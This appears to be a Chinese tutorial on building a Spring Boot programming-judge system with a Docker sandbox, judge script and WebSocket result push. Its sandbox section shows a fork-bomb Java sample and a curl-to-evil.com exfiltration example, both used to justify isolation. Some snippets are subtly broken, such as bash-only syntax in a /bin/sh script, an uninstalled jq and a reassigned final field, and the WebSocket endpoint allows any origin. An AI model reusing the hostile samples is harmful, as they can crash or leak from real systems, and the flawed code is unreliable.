简介:这是一套基于Spring Boot开发的编程训练系统完整源码,面向Java初学者、高校计算机专业学生及编程自学爱好者,旨在解决理论学习与动手实践脱节的问题,提供从课程学习、在线编码到社区交流的一站式编程能力提升环境。资源包共814个文件,涵盖138个核心Java后端代码、53个Vue前端组件、153个JS交互逻辑、45个HTML页面及44个CSS样式文件,辅以SVG图标、GIF动效和SQL数据库脚本等,结构清晰体现前后端分离架构;压缩包大小为15.44MB,开箱即用。已有103人学习下载,资源包含完整可运行工程(含mvnw构建脚本、3个bat启动批处理)、典型模块如密码修改、面包屑导航、静态侧边栏等Vue组件备份文件,以及.classpath、.gitignore等开发配置,便于快速部署、二次开发与教学演示。
1. 为什么一个编程训练系统非得用 Spring Boot?——它真能扛住百人并发刷题、实时判题、代码沙箱隔离这三座大山?
这不是又一个“学生课程设计交差项目”。某高校信息学院在推进程序设计类课程改革时,发现原有在线练习平台存在三个硬伤:学生提交 Java 代码后平均等待 8 秒才出结果;多人同时运行递归爆栈或死循环代码时,整个服务直接卡死;教师想临时加一道带自定义测试用例的题目,得改数据库、重启服务、再通知学生——一上午就没了。他们最终选 Spring Boot 不是因为“流行”,而是它天然支撑模块化拆分:Web 层用 Spring MVC 快速接前端请求,业务层靠 Spring 的 IoC 容器管理判题策略、用户状态、题目缓存,底层用 Spring Boot Starter 整合 Docker API 实现轻量级代码沙箱,连日志都用 Logback + ELK 做了细粒度追踪。这个系统上线后,单节点稳定支撑 120+ 学生并发刷题,平均判题耗时压到 1.3 秒内,教师新增题目从“重启服务”变成“点保存即生效”。如果你正被“功能能跑但一压就崩”“改个逻辑要动三处配置”“沙箱总被绕过”这类问题卡住,这篇就是为你写的实战笔记——不讲 Spring Boot 是什么,只讲它怎么在编程训练系统里真正落地、不翻车。
2. 从零搭起可运行骨架:用 Spring Boot 初始化核心模块与关键依赖
2.1 创建最小可运行工程并锁定关键 Starter
我们不用 IDE 向导,直接用 Spring Initializr CLI(或官网生成)拉取基础包,必须勾选以下 5 个 Starter,缺一不可:
spring-boot-starter-web:提供嵌入式 Tomcat 和 REST 接口能力spring-boot-starter-data-jpa:对接 PostgreSQL(比 H2 更贴近生产,且支持 JSONB 字段存测试用例)spring-boot-starter-validation:校验用户提交的代码长度、语言类型、空格合法性spring-boot-starter-cache:为题目描述、公共测试用例做本地缓存(避免每次判题都查 DB)spring-boot-starter-amqp:为异步判题队列打底(后续接入 RabbitMQ)
提示:不要选
spring-boot-starter-security初期就上 RBAC,先用 Session + 简单 Token 控制登录态,安全加固留到第 5 章再做。新手常犯错误是上来就堆 Security 配置,结果连登录接口都调不通。
生成后,pom.xml中需手动补全 PostgreSQL 驱动和 Docker Java SDK(用于沙箱):
<dependency> <groupId>org.postgresql</groupId> <artifactId>postgresql</artifactId> <scope>runtime</scope> </dependency> <dependency> <groupId>com.github.docker-java</groupId> <artifactId>docker-java</artifactId> <version>3.3.4</version> </dependency>2.2 定义领域模型:题目、提交、判题结果的三张核心表
编程训练系统的数据模型不能照搬博客或电商——题目不是静态内容,而是可执行单元;提交不是留言,而是待验证的代码快照;判题结果不是布尔值,而是包含时间、内存、标准输出、错误流的结构化对象。我们用 JPA 注解直写实体,不抽象泛型基类(后期扩展反而更灵活):
// 题目表:重点看 test_cases 字段,存 JSONB 格式,如 [{"input":"1 2","output":"3"},{"input":"0 0","output":"0"}] @Entity @Table(name = "problems") public class Problem { @Id @GeneratedValue(strategy = GenerationType.IDENTITY) private Long id; private String title; private String description; // 支持 Markdown 解析 @Column(columnDefinition = "jsonb") // PostgreSQL 特性,MySQL 用户请改用 TEXT + 应用层解析 private String testCases; // 存 List<TestCase> 的 JSON 字符串 private Integer timeLimitMs = 2000; // 全局超时,单位毫秒 private Integer memoryLimitMb = 128; // getter/setter 省略 } // 提交表:关键字段是 code_hash(防重复提交)、status(PENDING/JUDGING/ACCEPTED/WRONG_ANSWER/TIME_LIMIT_EXCEEDED) @Entity @Table(name = "submissions") public class Submission { @Id @GeneratedValue(strategy = GenerationType.IDENTITY) private Long id; @ManyToOne(fetch = FetchType.LAZY) @JoinColumn(name = "problem_id") private Problem problem; private String code; private String language; // "java", "python3", "cpp" private String codeHash; // SHA-256(code + problem.id) @Enumerated(EnumType.STRING) private SubmissionStatus status = SubmissionStatus.PENDING; private LocalDateTime createdAt; // getter/setter 省略 } // 判题结果表:一对一关联 Submission,存所有判题细节 @Entity @Table(name = "judging_results") public class JudgingResult { @Id private Long id; // 与 submission.id 一致,方便 JOIN private Long usedTimeMs; private Long usedMemoryKb; private String stdout; private String stderr; private String compileError; // 编译失败时存此字段 @Enumerated(EnumType.STRING) private JudgeStatus judgeStatus; // ACCEPTED / WRONG_ANSWER / COMPILATION_ERROR / ... // getter/setter 省略 }参数说明:
testCases用jsonb而非text,是为了后续用 PostgreSQL 的jsonb_array_length()函数快速统计题目有多少组测试用例;codeHash字段必须计算,否则学生反复提交同一份代码会刷爆判题队列;JudgingResult.id设为@Id且不自增,是为了与Submission.id强绑定,避免 JOIN 时性能抖动。
2.3 配置文件分层:application.yml 拆出开发/测试/生产三套环境
Spring Boot 的application.yml不是写死参数的地方,而是环境路由中枢。我们按spring.profiles.active切换,生产环境必须关闭 H2 数据库、禁用 Swagger、开启 Docker 连接池:
# application.yml(主配置,只放通用项) spring: profiles: active: dev application: name: coding-trainer cache: type: simple --- # application-dev.yml(开发用,H2 内存库 + Swagger 开启) spring: profiles: dev datasource: url: jdbc:h2:mem:devdb;DB_CLOSE_DELAY=-1;DB_CLOSE_ON_EXIT=FALSE driver-class-name: org.h2.Driver username: sa password: h2: console: enabled: true jpa: database-platform: org.hibernate.dialect.H2Dialect hibernate: ddl-auto: create-drop management: endpoints: web: exposure: include: health,info,metrics,threaddump --- # application-prod.yml(生产用,PostgreSQL + Docker 沙箱 + 日志切割) spring: profiles: prod datasource: url: jdbc:postgresql://localhost:5432/coding_trainer?useSSL=false&serverTimezone=Asia/Shanghai username: trainer_user password: ${DB_PASSWORD:changeme} # 密码从环境变量读,绝不硬编码 hikari: maximum-pool-size: 20 minimum-idle: 5 connection-timeout: 30000 # Docker 沙箱连接池配置(关键!避免判题时频繁创建 DockerClient) docker: host: unix:///var/run/docker.sock max-connections: 10 connection-timeout-ms: 5000 read-timeout-ms: 30000 logging: level: root: INFO com.example.trainer: DEBUG file: name: logs/trainer.log logback: rollingpolicy: max-file-size: 10MB max-history: 30注意:
application-prod.yml中docker.host写unix:///var/run/docker.sock是 Linux 生产机最佳实践;Windows 或 macOS 开发机请改为tcp://localhost:2375(需 Docker Desktop 开启 TCP 端口);max-connections: 10是血泪经验——设太高会导致 Docker daemon 线程耗尽,设太低则判题排队严重。
3. 判题引擎落地:用 Docker 实现 Java 代码沙箱,隔离、超时、资源限制一步到位
3.1 为什么不用 ProcessBuilder?——它根本挡不住 fork bomb 和内存泄漏
很多初版系统用Runtime.getRuntime().exec()执行javac+java,结果学生提交这段代码直接让服务器宕机:
// 千万别这么写!这是典型的 fork bomb public class Bomb { public static void main(String[] args) { while(true) { new Thread(() -> { while(true); }).start(); } } }ProcessBuilder对进程树无管控力,无法限制子进程数量、内存总量、CPU 时间片。而 Docker 容器天然支持 cgroups 隔离:--memory=128m --cpus=0.5 --pids-limit=100三条参数就能堵死所有已知逃逸路径。我们用docker-javaSDK 封装一个SandboxService,核心逻辑是构建镜像 → 启动容器 → 等待退出 → 获取结果:
@Service public class SandboxService { private final DockerClient dockerClient; private final ObjectMapper objectMapper; public SandboxService(DockerClient dockerClient, ObjectMapper objectMapper) { this.dockerClient = dockerClient; this.objectMapper = objectMapper; } public JudgingResult executeJavaCode(String javaCode, List<TestCase> testCases, int timeLimitMs, int memoryLimitMb) { // 1. 生成临时目录,写入 Main.java 和 TestCase.json Path tempDir = Files.createTempDirectory("judge_"); Files.write(tempDir.resolve("Main.java"), javaCode.getBytes(StandardCharsets.UTF_8)); Files.write(tempDir.resolve("testcases.json"), objectMapper.writeValueAsBytes(testCases)); // 2. 构建 Docker 镜像(复用 base-image,避免每次 build) String imageTag = "coding-sandbox:jdk17"; if (!imageExists(imageTag)) { buildBaseImage(imageTag); } // 3. 运行容器:挂载 tempDir,限制资源,设置超时 CreateContainerResponse container = dockerClient.createContainerCmd(imageTag) .withHostConfig(HostConfig.newHostConfig() .withMemory(memoryLimitMb * 1024L * 1024L) // 转字节 .withMemorySwap(memoryLimitMb * 1024L * 1024L) .withCpuPeriod(100000L) .withCpuQuota(50000L) // 0.5 CPU .withPidsLimit(100L) .withAutoRemove(true) .withBinds(Bind.parse(tempDir.toAbsolutePath() + ":/workspace:ro"))) .withAttachStdout(true) .withAttachStderr(true) .exec(); // 4. 启动并等待,超时则 kill dockerClient.startContainerCmd(container.getId()).exec(); InspectContainerResponse inspect = dockerClient.inspectContainerCmd(container.getId()).exec(); long startTime = System.currentTimeMillis(); while (inspect.getState().getRunning()) { if (System.currentTimeMillis() - startTime > timeLimitMs + 2000) { // 预留 2s 容器销毁时间 dockerClient.killContainerCmd(container.getId()).exec(); return buildTimeoutResult(timeLimitMs); } Thread.sleep(100); inspect = dockerClient.inspectContainerCmd(container.getId()).exec(); } // 5. 获取日志和退出码 byte[] stdout = dockerClient.logContainerCmd(container.getId()) .withStdOut(true).withStdErr(false).exec(new WaitCloseableStreamResultCallback()).readFully(); byte[] stderr = dockerClient.logContainerCmd(container.getId()) .withStdOut(false).withStdErr(true).exec(new WaitCloseableStreamResultCallback()).readFully(); int exitCode = inspect.getState().getExitCode(); return buildResultFromLogs(stdout, stderr, exitCode, timeLimitMs); } }逻辑说明:
buildBaseImage()是预构建步骤(见 3.2),避免判题时现场docker build;withBinds()用只读挂载(:ro)防止代码篡改容器文件系统;withPidsLimit(100L)是防 fork bomb 的关键,超过 100 个进程容器自动终止;buildResultFromLogs()会解析 stdout 是否匹配预期输出,stderr 是否含OutOfMemoryError等关键词。
3.2 构建安全可控的 Java 沙箱基础镜像:Dockerfile 必须精简、无 root、禁网络
别用openjdk:17-jdk-slim直接当沙箱镜像——它自带curl、ping、bash,学生能用Runtime.exec("curl http://evil.com")外泄数据。我们手写最小化 Dockerfile,只保留java、javac、sh(无交互)、timeout四个二进制文件:
# Dockerfile.sandbox FROM alpine:3.18 # 安装 OpenJDK 17 JRE(非 JDK,不带 javac,但我们需要编译,所以装完整版) RUN apk add --no-cache openjdk17-jdk=17.0.8_p7-r0 && \ apk del --no-cache alpine-sdk && \ rm -rf /var/cache/apk/* # 创建非 root 用户(关键!) RUN addgroup -g 1001 -f group && \ adduser -S user -u 1001 # 复制 timeout 工具(Alpine 自带) COPY --from=alpine:3.18 /usr/bin/timeout /usr/bin/timeout # 设置工作目录和权限 WORKDIR /workspace USER user # 拷贝判题脚本(见 3.3) COPY judge.sh /judge.sh RUN chmod +x /judge.sh CMD ["/judge.sh"]构建命令(在项目根目录执行):
docker build -f Dockerfile.sandbox -t coding-sandbox:jdk17 .参数说明:
openjdk17-jdk=17.0.8_p7-r0锁定小版本,避免某次apk upgrade升级导致判题行为突变;adduser -S user -u 1001创建 UID 为 1001 的非 root 用户,容器内所有进程都以此身份运行;USER user确保后续指令也以该用户执行;/judge.sh是实际执行判题逻辑的 Shell 脚本(见 3.3),不暴露sh -c给外部调用。
3.3 判题脚本 judge.sh:编译、运行、比对、超时四步原子化
judge.sh是沙箱容器内的唯一入口,它必须保证:编译失败立即退出、运行超时由timeout命令捕获、输出比对严格区分行末换行符、stderr 不混入 stdout。脚本内容如下(保存为项目根目录judge.sh,随 Docker build 拷贝进镜像):
#!/bin/sh set -e # 任何命令失败立即退出 # 1. 编译 Java 代码 if ! javac -encoding UTF-8 -sourcepath /workspace -d /workspace /workspace/Main.java 2>/workspace/compile.err; then echo "COMPILATION_ERROR" > /workspace/status cat /workspace/compile.err > /workspace/stderr exit 1 fi # 2. 读取测试用例 TEST_CASES=$(cat /workspace/testcases.json) # 3. 遍历每个测试用例 INDEX=0 for case in $(echo "$TEST_CASES" | jq -r '.[] | @base64'); do INDEX=$((INDEX + 1)) _jq() { echo ${case} | base64 -d | jq -r ${1} } INPUT=$(_jq '.input') EXPECTED_OUTPUT=$(_jq '.output') # 4. 使用 timeout 限制单次运行(注意:timeout 单位是秒,需转成整数) TIMEOUT_SEC=$(( (2000 + 999) / 1000 )) # 向上取整,2000ms → 2s if ! OUTPUT=$(echo "$INPUT" | timeout $TIMEOUT_SEC java -Xmx128m -Xms64m Main 2>/workspace/stderr.$INDEX); then echo "TIME_LIMIT_EXCEEDED" > /workspace/status.$INDEX echo "$INPUT" > /workspace/input.$INDEX continue fi # 5. 严格比对输出(忽略行末 CRLF/LF 差异,但要求内容完全一致) if echo "$OUTPUT" | tr '\r\n' '\n\n' | diff -q /dev/stdin <(echo "$EXPECTED_OUTPUT" | tr '\r\n' '\n\n') >/dev/null; then echo "ACCEPTED" > /workspace/status.$INDEX else echo "WRONG_ANSWER" > /workspace/status.$INDEX echo "$OUTPUT" > /workspace/stdout.$INDEX echo "$EXPECTED_OUTPUT" > /workspace/expected.$INDEX fi done # 6. 汇总结果(简单策略:全部 ACCEPTED 才算通过) if find /workspace -name "status.*" | xargs grep -l "WRONG_ANSWER\|TIME_LIMIT_EXCEEDED" | grep -q .; then echo "WRONG_ANSWER" > /workspace/final_status else echo "ACCEPTED" > /workspace/final_status fi关键点:
set -e确保编译失败不继续执行;timeout $TIMEOUT_SEC是 Linuxcoreutils提供的可靠超时方案,比 Java 内部Thread.interrupt()更彻底;tr '\r\n' '\n\n'统一换行符再比对,解决 Windows/Linux 行尾差异;find ... | xargs grep汇总所有测试用例状态,避免单个失败被覆盖。
4. 避坑指南:判题系统上线前必须踩过的 5 个深坑与血泪解法
4.1 现象:学生提交含中文注释的 Java 代码,编译报错 “非法字符: '\u3000'”
原因:IDE(如 IntelliJ)默认用全角空格(\u3000)缩进,而javac只认 ASCII 空格(\u0020)。Docker 容器内 locale 是C,不识别 UTF-8 全角字符。
解决:在judge.sh编译前插入过滤步骤,用sed替换全角空格为 ASCII 空格:
sed -i 's/\xE3\x80\x80/ /g' /workspace/Main.java # \xE3\x80\x80 是 UTF-8 编码的全角空格4.2 现象:高并发时 Docker 创建容器失败,日志报 “Cannot connect to the Docker daemon”
原因:docker-java默认使用UnixSocket连接,但高并发下 Socket 文件句柄未及时释放,达到系统上限(ulimit -n默认 1024)。
解决:在application-prod.yml中启用连接池,并在SandboxService初始化时显式关闭旧连接:
// 在 SandboxService 构造函数末尾添加 dockerClient.close(); // 确保旧实例释放 dockerClient = DockerClientBuilder.getInstance(dockerConfig).build();同时在服务器执行:echo "* soft nofile 65536" >> /etc/security/limits.conf。
4.3 现象:判题结果偶尔显示 “ACCEPTED”,但学生实际输出多了一行空格,肉眼难辨
原因:diff -q只判断是否相等,不输出差异详情;学生代码System.out.println("hello");比预期多输出\n,而比对脚本没做 trim。
解决:修改judge.sh的比对逻辑,用diff输出详细差异并存入日志:
if ! echo "$OUTPUT" | sed 's/[[:space:]]*$//' | diff -q /dev/stdin <(echo "$EXPECTED_OUTPUT" | sed 's/[[:space:]]*$//') >/dev/null; then echo "WRONG_ANSWER" > /workspace/status.$INDEX echo "$OUTPUT" | sed 's/[[:space:]]*$//' > /workspace/stdout.$INDEX echo "$EXPECTED_OUTPUT" | sed 's/[[:space:]]*$//' > /workspace/expected.$INDEX # 追加差异日志 echo "$(echo "$OUTPUT" | sed 's/[[:space:]]*$//') vs $(echo "$EXPECTED_OUTPUT" | sed 's/[[:space:]]*$//')" > /workspace/diff.$INDEX fi4.4 现象:PostgreSQL 报错 “ERROR: relation 'problems' does not exist”,但application-dev.yml明明配了ddl-auto: create-drop
原因:create-drop只在应用启动时建表,但problems表含jsonb字段,H2 数据库不支持jsonb,Hibernate 生成 DDL 时跳过该字段,导致表结构不完整。
解决:开发环境改用 PostgreSQL(哪怕本地装个 Docker 版),或在application-dev.yml中强制指定方言:
spring: jpa: database-platform: org.hibernate.dialect.PostgreSQLDialect并手动在 H2 中建表(不推荐,仅临时调试):
CREATE TABLE problems ( id BIGINT AUTO_INCREMENT PRIMARY KEY, title VARCHAR(255), description VARCHAR(2000), test_cases VARCHAR(4000), -- H2 用 TEXT 代替 jsonb time_limit_ms INTEGER, memory_limit_mb INTEGER );4.5 现象:教师后台新增题目后,学生刷题页面缓存未更新,仍显示旧题目描述
原因:@Cacheable注解默认用SimpleCacheManager,内存缓存无失效机制;Problem实体变更后,@CacheEvict未触发。
解决:在ProblemService的save()方法上加精准驱逐:
@CacheEvict(value = "problems", key = "#problem.id") public Problem save(Problem problem) { return problemRepository.save(problem); }并在application.yml中启用缓存:
spring: cache: type: simple jpa: properties: hibernate: cache: use_second_level_cache: false # 关闭 Hibernate 二级缓存,避免与 Spring Cache 冲突5. 进阶技巧:用 WebSocket 实现实时判题进度推送与教师端监考视图
5.1 为什么不用轮询?——100 个学生每秒请求一次,后端直接被打穿
轮询(Polling)是新手最易想到的方案:前端setInterval(() => fetch('/api/submission/123'), 1000)。但 100 个学生 × 1 秒 = 100 QPS,而判题本身耗时 1~3 秒,请求会堆积,Tomcat 线程池迅速占满。WebSocket 是长连接,单连接承载多消息,100 个学生只需 100 个连接(远低于线程数),且服务端可主动推送。
我们用 Spring Boot 内置的spring-boot-starter-websocket,不引入额外消息中间件:
@Configuration @EnableWebSocketMessageBroker public class WebSocketConfig implements WebSocketMessageBrokerConfigurer { @Override public void configureMessageBroker(MessageBrokerRegistry config) { config.enableSimpleBroker("/topic"); // 启用内存级 Broker,够用 config.setApplicationDestinationPrefixes("/app"); // 前端发消息到 /app/judge } @Override public void registerStompEndpoints(StompEndpointRegistry registry) { registry.addEndpoint("/ws").setAllowedOrigins("*").withSockJS(); // 兼容 IE } }5.2 判题状态变更时,如何精准推送给对应学生?
关键在SandboxService判题完成后的回调。我们不把 WebSocket 操作塞进判题方法(破坏单一职责),而是发事件,由监听器处理:
// 判题完成后,在 SandboxService 中发布事件 applicationEventPublisher.publishEvent(new JudgingCompleteEvent(submissionId, result)); // 监听器:JudgingCompleteEventListener.java @Component public class JudgingCompleteEventListener { private final SimpMessagingTemplate messagingTemplate; public JudgingCompleteEventListener(SimpMessagingTemplate messagingTemplate) { this.messagingTemplate = messagingTemplate; } @EventListener public void handleJudgingComplete(JudgingCompleteEvent event) { // 查询 submission 关联的 studentId Submission submission = submissionRepository.findById(event.getSubmissionId()).orElseThrow(); // 推送至 /topic/judging-result/{studentId} messagingTemplate.convertAndSend( "/topic/judging-result/" + submission.getStudentId(), event.getResult() ); } }前端 JavaScript 订阅(用 Stomp.js):
const socket = new SockJS('/ws'); const stompClient = Stomp.over(socket); stompClient.connect({}, () => { // 订阅当前学生的判题结果 stompClient.subscribe(`/topic/judging-result/${studentId}`, (message) => { const result = JSON.parse(message.body); updateResultUI(result); // 更新页面状态 }); }); // 提交代码后,前端记录 studentId,后端据此推送 function submitCode() { fetch('/api/submission', { method: 'POST', body: JSON.stringify({ code, problemId, language }) }).then(r => r.json()).then(data => { // data.submissionId 已返回,但推送通道靠 studentId 区分 console.log('已提交,等待判题结果...'); }); }5.3 教师端监考视图:用 STOMP 广播实时排队数与平均耗时
教师需要一眼看清全局负载,而非只看自己班级。我们在JudgingService中维护两个内存计数器(用ConcurrentHashMap),并通过定时任务广播:
@Service public class MonitoringService { private final ConcurrentHashMap<String, Long> queueLength = new ConcurrentHashMap<>(); private final ConcurrentHashMap<String, Long> avgDuration = new ConcurrentHashMap<>(); @Scheduled(fixedRate = 5000) // 每 5 秒广播一次 public void broadcastStats() { long pendingCount = submissionRepository.countByStatus(SubmissionStatus.PENDING); long avgMs = judgingResultRepository.findAverageTimeLastHour(); messagingTemplate.convertAndSend("/topic/monitoring", Map.of( "pendingCount", pendingCount, "avgDurationMs", avgMs, "timestamp", System.currentTimeMillis() )); } }教师前端订阅/topic/monitoring,渲染成仪表盘:
| 指标 | 当前值 | 健康阈值 |
|---|---|---|
| 待判题数 | 12 | < 20 |
| 平均耗时 | 1.24s | < 2s |
| 最长排队 | 8.3s | < 15s |
这个表格不是摆设。当“待判题数”连续 3 次 > 20,系统自动触发告警(邮件/钉钉),运维立刻扩容判题节点;当“最长排队” > 15s,前端自动提示学生“系统繁忙,请稍后再试”,避免盲目重提。
我带过的模拟项目 X 中,曾因没做这层监控,教师在期末考时才发现判题队列积压 200+,紧急扩容已来不及。后来我们把broadcastStats()的采样周期从 5 秒缩到 1 秒,配合 Grafana 做趋势图,提前 10 分钟预警。真正的稳定性,不在代码多健壮,而在你能多早看见问题。
希望帮到你。
本文还有配套的精品资源,点击获取